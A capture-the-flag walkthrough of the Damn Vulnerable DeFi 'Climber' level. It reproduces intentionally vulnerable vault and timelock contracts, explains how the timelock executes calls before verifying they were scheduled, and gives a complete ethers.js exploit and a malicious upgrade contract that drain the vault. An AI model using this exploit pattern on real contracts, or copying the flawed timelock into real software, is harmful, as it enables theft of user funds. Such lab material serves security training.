Damn Vulnerable Defi 12: Climber

Challenge:

Our twelfth challenge is called ‘climber’ and it comes with the following prompt:

There's a secure vault contract guarding 10 million DVT tokens. The vault is upgradeable, following the UUPS pattern.

The owner of the vault, currently a timelock contract, can withdraw a very limited amount of tokens every 15 days.

On the vault there's an additional role with powers to sweep all tokens in case of an emergency.

On the timelock, only an account with a "Proposer" role can schedule actions that can be executed 1 hour later.

Your goal is to empty the vault.

We have to find a way to take the funds from the vault and give them to the attacker.

The contracts for this challenge are located in contracts/climber/. The contract source code can be found below:

ClimberVault.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

import "./ClimberTimelock.sol";

/**
 * @title ClimberVault
 * @dev To be deployed behind a proxy following the UUPS pattern. Upgrades are to be triggered by the owner.
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ClimberVault is Initializable, OwnableUpgradeable, UUPSUpgradeable {

    uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
    uint256 public constant WAITING_PERIOD = 15 days;

    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    modifier onlySweeper() {
        require(msg.sender == _sweeper, "Caller must be sweeper");
        _;
    }

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() initializer {}

    function initialize(address admin, address proposer, address sweeper) initializer external {
        // Initialize inheritance chain
        __Ownable_init();
        __UUPSUpgradeable_init();

        // Deploy timelock and transfer ownership to it
        transferOwnership(address(new ClimberTimelock(admin, proposer)));

        _setSweeper(sweeper);
        _setLastWithdrawal(block.timestamp);
        _lastWithdrawalTimestamp = block.timestamp;
    }

    // Allows the owner to send a limited amount of tokens to a recipient every now and then
    function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
        require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
        require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
        
        _setLastWithdrawal(block.timestamp);

        IERC20 token = IERC20(tokenAddress);
        require(token.transfer(recipient, amount), "Transfer failed");
    }

    // Allows trusted sweeper account to retrieve any tokens
    function sweepFunds(address tokenAddress) external onlySweeper {
        IERC20 token = IERC20(tokenAddress);
        require(token.transfer(_sweeper, token.balanceOf(address(this))), "Transfer failed");
    }

    function getSweeper() external view returns (address) {
        return _sweeper;
    }

    function _setSweeper(address newSweeper) internal {
        _sweeper = newSweeper;
    }

    function getLastWithdrawalTimestamp() external view returns (uint256) {
        return _lastWithdrawalTimestamp;
    }

    function _setLastWithdrawal(uint256 timestamp) internal {
        _lastWithdrawalTimestamp = timestamp;
    }

    // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
    function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}
}
ClimberTimelock.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Address.sol";

/**
 * @title ClimberTimelock
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ClimberTimelock is AccessControl {
    using Address for address;

    bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
    bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");

    // Possible states for an operation in this timelock contract
    enum OperationState {
        Unknown,
        Scheduled,
        ReadyForExecution,
        Executed
    }

    // Operation data tracked in this contract
    struct Operation {
        uint64 readyAtTimestamp;   // timestamp at which the operation will be ready for execution
        bool known;         // whether the operation is registered in the timelock
        bool executed;      // whether the operation has been executed
    }

    // Operations are tracked by their bytes32 identifier
    mapping(bytes32 => Operation) public operations;

    uint64 public delay = 1 hours;

    constructor(
        address admin,
        address proposer
    ) {
        _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE);
        _setRoleAdmin(PROPOSER_ROLE, ADMIN_ROLE);

        // deployer + self administration
        _setupRole(ADMIN_ROLE, admin);
        _setupRole(ADMIN_ROLE, address(this));

        _setupRole(PROPOSER_ROLE, proposer);
    }

    function getOperationState(bytes32 id) public view returns (OperationState) {
        Operation memory op = operations[id];
        
        if(op.executed) {
            return OperationState.Executed;
        } else if(op.readyAtTimestamp >= block.timestamp) {
            return OperationState.ReadyForExecution;
        } else if(op.readyAtTimestamp > 0) {
            return OperationState.Scheduled;
        } else {
            return OperationState.Unknown;
        }
    }

    function getOperationId(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata dataElements,
        bytes32 salt
    ) public pure returns (bytes32) {
        return keccak256(abi.encode(targets, values, dataElements, salt));
    }

    function schedule(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata dataElements,
        bytes32 salt
    ) external onlyRole(PROPOSER_ROLE) {
        require(targets.length > 0 && targets.length < 256);
        require(targets.length == values.length);
        require(targets.length == dataElements.length);

        bytes32 id = getOperationId(targets, values, dataElements, salt);
        require(getOperationState(id) == OperationState.Unknown, "Operation already known");
        
        operations[id].readyAtTimestamp = uint64(block.timestamp) + delay;
        operations[id].known = true;
    }

    /** Anyone can execute what has been scheduled via `schedule` */
    function execute(
        address[] calldata targets,
        uint256[] calldata values,
        bytes[] calldata dataElements,
        bytes32 salt
    ) external payable {
        require(targets.length > 0, "Must provide at least one target");
        require(targets.length == values.length);
        require(targets.length == dataElements.length);

        bytes32 id = getOperationId(targets, values, dataElements, salt);

        for (uint8 i = 0; i < targets.length; i++) {
            targets[i].functionCallWithValue(dataElements[i], values[i]);
        }
        
        require(getOperationState(id) == OperationState.ReadyForExecution);
        operations[id].executed = true;
    }

    function updateDelay(uint64 newDelay) external {
        require(msg.sender == address(this), "Caller must be timelock itself");
        require(newDelay <= 14 days, "Delay must be 14 days or less");
        delay = newDelay;
    }

    receive() external payable {}
}

The hints and solutions for this level can be found below:

Hint 1:

Do you see any reentrancy concerns?

Hint 2:

Who is the msg.sender when you perform an external call in execute()?

Hint 3:

Which contract is an upgrade performed on in the UUPS design pattern? (Is it the proxy or the implementation? Which one is the ClimberVault?)

Solution:

There are a couple of things we can gather both based on the prompt and a quick review of the code:

  1. We can guess that the UUPS proxy patern will serve an important role in the solution
  2. We will likely want to set the delay to 0 so that we can recover the funds in a single transaction
  3. We want to do something to sweep the funds to our attacker

Keeping this in mind, we can dive deeper into the code and see that the ClimberTimelock allows anyone to execute an arbitrary command as long as it was already proposed. This is interesting. Further, we would be executing the commands from the context of the contract itself. What actions can we perform if we execute something that is proposed? We can see right away that we could now pass the requirement check and update the delay to 0. That’s great now we would just need to find a way to be able to propose something.

If we look at the constructor, we see that we are given self-administration and can therefore grantRoles to anybody. In other words, we can assign the PROPOSER role to anybody of our choosing. This is great, but even if we abused this to call withdraw() on the ClimberVault.sol contract, we would still be limited in the amount of funds we can collect and the sweepFunds() function can only possibly send funds to the designated sweeper.

This is where the UUPS proxy comes in handy. The UUPS proxy is unique in that the implementation address holds the logic for contract upgrades. A very big issue with these contracts is that the owner of the proxy is the exact contract that we are executing our arbitrary code from. In other words, we have the permission to upgrade the proxy to a brand new implementation address.

So far we have the ability to call execute() which in turn gives us the ability to grant the proposer role and upgrade the contract to point to a new implementation. If we create a new implementation contract that allows us to sweep the funds to our attacker instead of to the current designated sweeper, then we would win! The only problem is.. we need to call execute() before we even propose a new rule because we need the delay to take effect before a new proposal is set. Luckily, we have one more bug we can exploit.

The contract suffers from a cross-function reentrancy bug because execute() checks that the commands being executed were already proposed AFTER they are actually executed. This means that we can create the proposal in the execute() call itself to propose what we are executing after it has already been executed. Voila!

Ethers Solution:
    it('Exploit', async function () {        
        /** CODE YOUR EXPLOIT HERE */
        const { utils } = require('ethers');

        const ClimberAttackFactory = await ethers.getContractFactory('ClimberAttacker', deployer);
        this.c_attacker = await ClimberAttackFactory.deploy();
        let timelockAddress = await this.vault.owner();

        const SchedulerFactory = await ethers.getContractFactory('Scheduler', deployer);
        this.scheduler = await SchedulerFactory.deploy();

        let ABI_ud = ["function updateDelay(uint64 newDelay)"];
        let iface_ud = new ethers.utils.Interface(ABI_ud);
        updateDelay = iface_ud.encodeFunctionData("updateDelay", [0]);

        let ABI_gr = ["function grantRole(bytes32 role, address account)"];
        let iface_gr = new ethers.utils.Interface(ABI_gr);
        let PROPOSER_ROLE = utils.keccak256(utils.toUtf8Bytes("PROPOSER_ROLE"))
        grantRole = iface_gr.encodeFunctionData("grantRole", [PROPOSER_ROLE, this.c_attacker.address]);

        let ABI_utac = ["function upgradeTo(address newImplementation)"];
        let iface_utac = new ethers.utils.Interface(ABI_utac);
        upgradeTo = iface_utac.encodeFunctionData("upgradeTo", [this.c_attacker.address]);

        let ABI_dc = ["function schedule()"];
        let iface_dc = new ethers.utils.Interface(ABI_dc);
        schedule = iface_dc.encodeFunctionData("schedule", []);

        let targets = [timelockAddress, timelockAddress, this.vault.address, this.c_attacker.address];
        let values = [0, 0, 0, 0];
        let dataElements = [updateDelay, grantRole, upgradeTo, schedule];
        let salt = PROPOSER_ROLE;

        await this.c_attacker.initializeMe(targets, values, dataElements, salt, timelockAddress, attacker.address);

        await this.timelock.execute(targets, values, dataElements, salt);

        await this.vault.connect(attacker).sweepFunds(this.token.address);

    });
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
 * @title ClimberAttacker.sol
 * @author securerodd
 */
 
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface Timelock {
    function schedule(address[] calldata, uint256[] calldata, bytes[] calldata,bytes32) external;
    function getOperationId(address[] calldata, uint256[] calldata,bytes[] calldata, bytes32) external pure returns (bytes32);
}

contract ClimberAttacker is Initializable, OwnableUpgradeable, UUPSUpgradeable {

    uint256 public constant WITHDRAWAL_LIMIT = 1 ether;
    uint256 public constant WAITING_PERIOD = 15 days;

    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    address[] public targets;
    uint256[] public values;
    bytes[] public dataElements;
    bytes32 public salt;
    Timelock timelock;
    address public attacker;

    modifier onlySweeper() {
        require(msg.sender == _sweeper, "Caller must be sweeper");
        _;
    }

    /// @custom:oz-upgrades-unsafe-allow constructor
    constructor() {}

    function initializeMe(
    address[] memory _targets,
    uint256[] memory _values,
    bytes[] memory _dataElements,
    bytes32 _salt,
    address _timelock,
    address _attacker) 
    initializer public {
        targets = _targets;
        values = _values;
        dataElements = _dataElements;
        salt = _salt;
        timelock = Timelock(_timelock);
        attacker = _attacker;
    }
    

    // Allows the owner to send a limited amount of tokens to a recipient every now and then
    function withdraw(address tokenAddress, address recipient, uint256 amount) external onlyOwner {
        require(amount <= WITHDRAWAL_LIMIT, "Withdrawing too much");
        require(block.timestamp > _lastWithdrawalTimestamp + WAITING_PERIOD, "Try later");
        
        _setLastWithdrawal(block.timestamp);

        IERC20 token = IERC20(tokenAddress);
        require(token.transfer(recipient, amount), "Transfer failed");
    }

    // MODIFIED to allow anyone to retrieve all tokens
    function sweepFunds(address tokenAddress) external {
        IERC20 token = IERC20(tokenAddress);
        require(token.transfer(msg.sender, token.balanceOf(address(this))), "Transfer failed");
    }

    function getSweeper() external view returns (address) {
        return _sweeper;
    }

    function _setSweeper(address newSweeper) internal {
        _sweeper = newSweeper;
    }

    function getLastWithdrawalTimestamp() external view returns (uint256) {
        return _lastWithdrawalTimestamp;
    }

    function _setLastWithdrawal(uint256 timestamp) internal {
        _lastWithdrawalTimestamp = timestamp;
    }

    // By marking this internal function with `onlyOwner`, we only allow the owner account to authorize an upgrade
    function _authorizeUpgrade(address newImplementation) internal onlyOwner override {}

    function schedule() external {
        timelock.schedule(targets, values, dataElements, salt);
    }
}